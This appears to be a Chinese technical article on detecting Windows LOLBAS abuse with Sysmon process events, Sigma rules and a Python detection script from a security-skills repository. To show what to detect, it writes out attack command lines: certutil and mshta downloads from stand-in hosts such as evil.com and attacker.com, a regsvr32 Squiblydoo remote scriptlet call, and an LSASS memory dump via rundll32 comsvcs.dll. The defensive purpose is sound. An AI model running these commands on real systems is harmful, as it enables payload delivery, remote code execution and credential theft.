ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

基于 Sysmon 与 Sigma 的 LOLBAS 检测实战:从进程遥测签名到自动化告警的完整 API 参考

基于 Sysmon 与 Sigma 的 LOLBAS 检测实战:从进程遥测签名到自动化告警的完整 API 参考 基于 Sysmon 与 Sigma 的 LOLBAS 检测实战从进程遥测签名到自动化告警的完整 API 参考【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills导读Living Off the Land BinariesLOLBAS离地二进制文件指被攻击者滥用的 Windows 合法系统工具如 certutil、mshta、regsvr32、rundll32攻击者借助它们下载、执行或代理恶意代码以绕过基于可执行文件的传统检测。本文以 Anthropic Cybersecurity Skills 仓库中detecting-living-off-the-land-with-lolbas技能的 API 参考文档 为主体结合仓库配套的 检测脚本系统讲解 Sysmon 进程创建事件解析、核心 LOLBin 特征签名、Sigma 检测规则编写与转换以及一套可落地的自动化检测与评分流程。读完本文你将掌握如何基于进程遥测构建 LOLBAS 滥用检测体系并能直接使用仓库脚本生成结构化检测报告与 Sigma 规则。一、为什么需要关注 LOLBAS 检测LOLBAS 的核心威胁在于信任滥用这些二进制文件带有效数字签名、位于系统目录、会被安全软件默认信任攻击者却可以巧妙利用其功能完成下载载荷、解码文件、代理执行、权限提升甚至凭证转储等动作且不需要落地任何自定义可执行文件。仓库技能 SKILL.md 明确将其归入威胁检测threat-detection领域并以 D3FEND 的 Executable Denylisting、Application Protocol Command Analysis 等防御技术作为对抗手段。检测这类行为不能依赖哈希黑名单必须转向行为与上下文分析进程镜像Image、完整命令行CommandLine、父进程ParentImage以及用户身份。这正是下文 Sysmon Event ID 1 与 Sigma 规则发挥作用的地方。二、数据基础Sysmon Event ID 1 进程创建事件Sysmon 的 Event ID 1 会为每一个新进程捕获完整命令行参数是 LOLBAS 检测的首选数据源仓库技能也同时支持 Windows 安全事件日志 4688需开启命令行记录。API 参考文档给出了关键的字段结构EventID1/EventID Data NameImageC:\Windows\System32\certutil.exe/Data Data NameCommandLinecertutil -urlcache -split -f http://evil.com/payload.exe C:\Temp\p.exe/Data Data NameParentImageC:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE/Data Data NameUserDOMAIN\jsmith/Data四个字段分别回答什么程序Image、做了什么CommandLine、被谁拉起ParentImage、以谁的身份User。其中 Image CommandLine 用于匹配 LOLBin 签名ParentImage 用于识别异常的父-子进程关系例如 Word 进程拉起 certutilUser 用于区分正常管理员操作与可疑的横向移动行为。配套脚本agent.py在解析时对 Sysmon 与 4688 两种字段命名做了兼容Image/NewProcessName、CommandLine/ProcessCommandLine、ParentImage/ParentProcessName可直接对接两类日志源。三、核心 LOLBin 签名库3.1 文档内置的四大重点 LOLBinAPI 参考文档首先给出了四个最常被滥用的 LOLBin 及其对应 MITRE ATTCK 技术编号certutil.exeT1140 解除混淆/解码文件T1105 工具传输certutil -urlcache -split -f http://malicious.com/file.exe output.exe certutil -decode encoded.txt decoded.exe certutil -encode payload.exe encoded.txt-urlcache -split -f组合使 certutil 直接充当下载器从远程拉取文件-decode/-encode则被用于解码/混淆二进制内容是 T1140 的典型体现。mshta.exeT1218.005 HTML 应用程序mshta http://attacker.com/malicious.hta mshta vbscript:Execute(CreateObject(Wscript.Shell).Run cmd:close)mshta 可执行远程 .hta 或内联 VBScript/JavaScript是无文件执行与宏投递链中的常见跳板。regsvr32.exeT1218.010 注册表组件脚本letregsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll经典的 Squiblydoo 技术通过scrobj.dll加载远程 .sct 脚本组件实现远程代码执行且无文件落地。rundll32.exeT1218.011 通过 rundll32 代理执行rundll32.exe comsvcs.dll,MiniDump lsass_pid dump.bin full rundll32.exe javascript:\..\mshtml,RunHTMLApplication ;eval(...);第一行是业界熟知的 LSASS 内存转储手法对应 T1003 凭证转储第二行则利用 mshtml 的 JavaScript 引擎实现代理执行。3.2 仓库脚本扩展的完整监控清单仓库配套脚本在文档四大二进制之外将监控面扩展到了 8 个并逐一绑定 MITRE 技术编号构成一个可直接投入使用的LOLBin 监视名单见agent.py二进制可疑参数特征MITRE 技术说明certutil.exe-urlcache、-split、-decode、-encode、-f http、-verifyctlT1140下载/解码/校验绕过mshta.exehttp://、https://、javascript:、vbscript:、.htaT1218.005远程或内联脚本执行regsvr32.exe/s /n /u /i:http、/i:http、scrobj.dll、.sctT1218.010Squiblydoo 脚本组件执行rundll32.exejavascript:、http://、shell32.dll,ShellExec_RunDLL、comsvcs.dll,MiniDumpT1218.011代理执行 / 凭证转储msbuild.exe.xml、.csproj、/p:、inline taskT1127.001MSBuild 内联任务执行bitsadmin.exe/transfer、/create、/addfile、/resume、/completeT1197BITS 下载或持久化wmic.exeprocess call create、/node:、os get、format:T1047远程执行 / 侦察cmstp.exe/ni、/s、.infT1218.003CMSTP UAC 绕过这一清单与技能 SKILL.md 中建议的监视名单certutil、mshta、regsvr32、rundll32、msbuild、installutil、cmstp、wmic、bitsadmin高度一致同时覆盖 T1218 系统二进制代理执行族、T1197 BITS 任务、T1047 WMI 等 ATTCK 技术。四、Sigma 检测规则格式把签名转成可共享的检测逻辑Sigma 是平台无关的安全检测规则标准。API 参考文档给出了一个针对 certutil 下载行为的完整规则示例结构上包含元信息title/id/status/level/tags、日志源logsource与检测逻辑detectiontitle: Suspicious Certutil Download id: e011f510-fae2-4e3a-b31c-5d6c8e9faccd status: stable logsource: category: process_creation product: windows detection: selection: Image|endswith: \certutil.exe condition_args: CommandLine|contains|all: - -urlcache - -f - http condition: selection and condition_args level: high tags: - attack.t1105 - attack.t1140值得注意的检测设计要点selection用Image|endswith锁定二进制路径避免误伤同名前缀condition_args用CommandLine|contains|all要求命令行同时包含多个特征参数condition: selection and condition_args组合两者显著降低单参数误报。tags直接引用attack.t1105与attack.t1140使规则可被自动映射回 MITRE ATTCK 矩阵。仓库脚本中的generate_sigma_rule()函数实现了同一逻辑的自动化它为监视名单中的每个二进制自动生成规则——Image|endswith锁定二进制、CommandLine|contains注入该二进制的可疑参数列表、condition采用selection and condition_args、level默认 high、falsepositives标注合法的管理用途并自动写入对应的attack.*标签。这意味着你无需手写每条规则运行脚本即可批量产出。五、Sigma CLI转换、校验与部署规则编写完成后需要通过 Sigma CLI 将其转换为目标 SIEM 的查询语言或在提交前校验语法。API 参考文档给出了三条关键命令# Convert Sigma rule to Splunk query sigma convert -t splunk -p sysmon certutil_download.yml # Convert to Elastic query sigma convert -t elasticsearch -p ecs_windows certutil_download.yml # Validate Sigma rule syntax sigma check certutil_download.ymlsigma convert -t splunk -p sysmon转为 Splunk SPL 查询并应用 sysmon 处理管道pipeline使字段名如Image、CommandLine与 Sysmon 采集的索引字段对齐sigma convert -t elasticsearch -p ecs_windows转为 Elasticsearch 查询 DSL使用 ecs_windows 管道适配 ECS 字段命名sigma check规则语法校验是 CI 流程中不可或缺的一步。技能 SKILL.md 的前置条件中即要求 Sigma 转换工具sigmac 或 sigma-cli以及 Splunk / Elastic 等 SIEM 平台完成日志接入转换后的查询可直接落地为 SIEM 中的实时检测规则。六、仓库自动化实现从事件解析到告警评分除了参考文档仓库还提供了可直接运行的检测 Agent。其工作流完整对应技能的六个步骤可从源码层面理解每个环节的实现1. 事件解析parse_process_events()逐行读取 JSON 格式的进程创建事件每行一个事件对象跳过空行与解析失败的行兼容 Sysmon 与 4688 的字段命名。2. 签名匹配与上下文分析detect_lolbin_abuse()提取Image、CommandLine、ParentImage从路径中取出二进制名对照签名表做子串匹配全部小写化以规避大小写差异。命中后进一步判断父进程是否属于可疑集合SUSPICIOUS_PARENTSSUSPICIOUS_PARENTS { winword.exe, excel.exe, powerpnt.exe, outlook.exe, wmiprvse.exe, svchost.exe, taskeng.exe, cmd.exe, }这正是技能第四步父-子进程异常分析的代码化Office 套件winword/excel/powerpnt/outlook拉起 LOLBin 往往意味着宏投递或钓鱼链svchost/wmiprvse 等系统进程拉起则可能指向服务侧或 WMI 滥用。3. 严重度评分脚本实现了文档未展开的三级评分逻辑——命中可疑父进程时 severity 升为high同一事件匹配到多个可疑参数时直接升级为critical其余为medium。多参数命中意味着行为特征叠加如同时出现下载、解码与远程 URL攻击意图更明确评分也更高。4. 结构化报告build_report()输出包含total_detections、按二进制的检出分布、按严重度的汇总、涉及的 MITRE 技术集合以及每条检测的完整明细时间戳、命令行、父进程、命中签名、用户、PID。这一输出与技能Expected Output中的 JSON 报告要求完全一致。5. CLI 入口main()提供三个参数python3 agent.py --log-file process_events.json \ --output lolbas_detections.json \ --generate-sigma--log-file必填进程创建事件的 JSON 日志--output报告输出路径默认lolbas_detections.json--generate-sigma为全部 8 个 LOLBin 批量生成 Sigma 规则并嵌入报告。运行结束后脚本打印Analyzed N events, found M LOLBin abuse detections与报告保存路径可直接接入 SOC 自动化流程。七、落地实战完整检测工作流综合参考文档、技能步骤与源码实现一套可复现的 LOLBAS 检测流程如下建立 LOLBin 监视名单——以本文第三节的 8 个二进制为起点按组织业务环境增删如未使用 MSBuild 的开发终端出现 msbuild.exe 即高度可疑。采集进程遥测——确认 Sysmon Event ID 1 已开启并保留完整 CommandLine若仅有 4688须开启命令行进程审计策略并将事件导出为脚本可解析的 JSON 格式。生成并转换 Sigma 规则——用脚本--generate-sigma批量产出规则或按第四节格式手写随后用sigma check校验、sigma convert转为 Splunk/Elastic 查询部署到 SIEM。分析父-子进程关系——重点关注 Office 套件、svchost、wmiprvse、cmd 等可疑父进程拉起 LOLBin 的场景。评分与分级——应用可疑参数命中数 可疑父进程的评分规则将 critical/high 事件优先送入研判队列。生成检测报告——输出带 MITRE ATTCK 映射T1218、T1105、T1140、T1127、T1197、T1047 等的 JSON 报告沉淀为可追溯的检测证据。八、前置条件与进一步阅读运行本技能及配套脚本需要启用了命令行捕获的 Sysmon 或 Windows 4688 日志、Sigma 转换工具sigmac / sigma-cli、用于日志接入的 SIEM 平台Splunk、Elastic 等、Python 3.8含 pySigma 库以及 LOLBAS 项目参考数据库可 clone 其官方仓库离线浏览yml/OSBinaries/下全部已记录的 LOLBin。如需继续深入可查阅仓库中的以下文件技能定义与完整工作流SKILL.md本文所依据的 API 参考文档references/api-reference.md自动化检测脚本签名表、评分、Sigma 生成scripts/agent.py仓库级 ATTCK 覆盖统计mappings/mitre-attack/README.md 与 ATTACK_COVERAGE.md【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表